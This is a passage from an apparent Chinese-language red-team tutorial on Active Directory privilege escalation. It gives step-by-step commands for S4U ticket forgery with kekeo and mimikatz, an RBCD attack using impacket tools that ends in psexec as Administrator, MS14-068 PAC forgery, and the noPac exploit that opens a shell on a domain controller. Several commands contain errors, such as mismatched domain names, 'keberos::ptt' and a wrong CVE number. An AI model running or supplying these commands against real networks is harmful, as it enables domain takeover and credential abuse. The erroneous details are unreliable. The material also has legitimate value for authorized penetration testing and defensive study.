tgt::ask /user:websec /domain:redteam.club /NTLM:XXXXX

利用这个票据通过伪造S4U请求以administrator身份访问

kekeo.exe "tgs::s4u /tgt:TGT_websec@REDTEAM.CLUB_krbtgt~redteam.club@REDTEAM.CLUB.kirbi  
/user:Administrator@reteam.club /service:cifs/ad1.redteam.club" "exit"

然后导入票据

mimikatz.exe "keberos::ptt  
TGS_Administrator@redteam.club@REDTEAM.CLUB_cifs~ad1.redteam.club@REDTEAM.CLUB.kirbi" "exit"

访问

dir \\DC.haishi.com\c$

基于资源的约束委派(RBCD)

基于资源的约束委派(Resource Based Constrained Delegation,RBCD)是在 WindowsServer 2012 中加入的功能,与传统约束委派相比,不需要域管理员权限去设置相关属性,而是将设置委派的权限交给了服务机器。

例如从 Service A 到 Service B 的委派:

>传统的约束委派是正向的, 需要以域管的权限将 Service A 的 msDS-AllowedToDelegateTo 属性指定为 Service B.
而基于资源的约束委派则是反向的, 无需域管权限, 只需要在 Service B 上将 msDS-AllowedToActOnBehalfOfOtherIdentity 属性指定为 Service A, 即可完成委派的配置.

一般的情况是我们拿到一个域内的普通用户, 并且发现某台机器是通过该用户加入域的, 那么就可以通过 RBCD 在该机器上实现本地提权

思路:

  1. 利用可控域用户创建一个机器账户 (每个域用户默认可以创建 10 个机器账户, 即 msDS-MachineAccountQuota (MAQ) 属性)
  2. 修改目标主机的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性, 使其指向新创建机器账户的 SID
  3. 利用该机器账户的凭证通过 S4U 协议申请委派至目标主机的 ST 票据, 实现本地提权/横向移动

AdFind 查询域内机器的 CreatorSID 属性

AdFind.exe -b "DC=hack-my,DC=com" -f "objectClass=computer" cn ms-DS-CreatorSID

发现 WIN2008-WEB 这台机器是通过 本机 加入域的, 那么 我们 就有权限修改它的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性

首先利用 我们 账户在域内添加一个机器账户

addcomputer.py hack-my.com/Alice:'Alice123!' -computer-name TEST\$ -computer-pass 123456 -dc-host DC.hack-my.com -dc-ip 192.168.30.10

然后配置 msDS-AllowedToActOnBehalfOfOtherIdentity 属性

rbcd.py hack-my.com/Alice:'Alice123!' -dc-ip 192.168.30.10  -action write -delegate-to WIN2008-WEB\$ -delegate-from TEST\$

最后利用 S4U 协议伪造 Administrator 用户申请 ST

getST.py -dc-ip 192.168.30.10 -spn cifs/WIN2008-WEB.hack-my.com -impersonate Administrator hack-my.com/test\$:123456

export KRB5CCNAME=Administrator.ccache
psexec.py -no-pass -k WIN2008-WEB.hack-my.com -dc-ip 192.168.30.10

PAC攻击

MS14-068

KDC 无法正确检查 PAC 中的有效签名,由于其实现签名的加密允许所有的签名算法,只要客户端指定任意签名算法,KDC服务器就会使用指定的算法进行签名验证,因此可以利用不需要相关密钥的算法,如MD5,实现内容的任意更改,导致用户可以自己构造一张 PAC,伪造用户的 SID 和所在的组。那么,可以通过伪造 PAC,加入域管相关信息,访问域控服务,KDC会认为当前用户有权限,从而把这个用户当作域管组的成员,进而达到提升为域管理员的效果。

利用kekeo 成功访问CIFS服务:

kekeo.exe "exploit::ms14068 /domain:hack-my.com /user:username /password:password /ptt" "exit"

CVE-2021-4227&CVE-2021-42287(NoPac)

CVE-2021-42278 是一个安全绕过漏洞,允许通过修改机器账户的sAMAccountName属性来冒充域控制器。与标准用户账户相比,机器账户的名称末尾附加了“$”符号,但实际中,AD并没有验证域内机器账户中是否具有“$”,导致机器账户可以被假冒。

CVE-2021-42287是影响Kerberos特权属性证书(PAC)的安全绕过漏洞,允许通过假冒域控制器,使密钥分发中心(KDC)创建高权限票据。

根据认证 Kerberos 协议,在请求服务票证前需要先签发 TGT(票据授权凭证)。但是,当为活动目录中不存在的账户请求服务票证时,密钥分发中心(KDC)将在该账户名上附加“$”符号进行搜索。将这一行为与 CVE-2021-42278 结合,测试人员可以实现域内权限提升

proxychains python3 noPac.py -use-ldap test.com/ceshi:'test!@#123' -dc-ip 10.0.10.5 -shell
0 条评论
某人
表情
可输入 255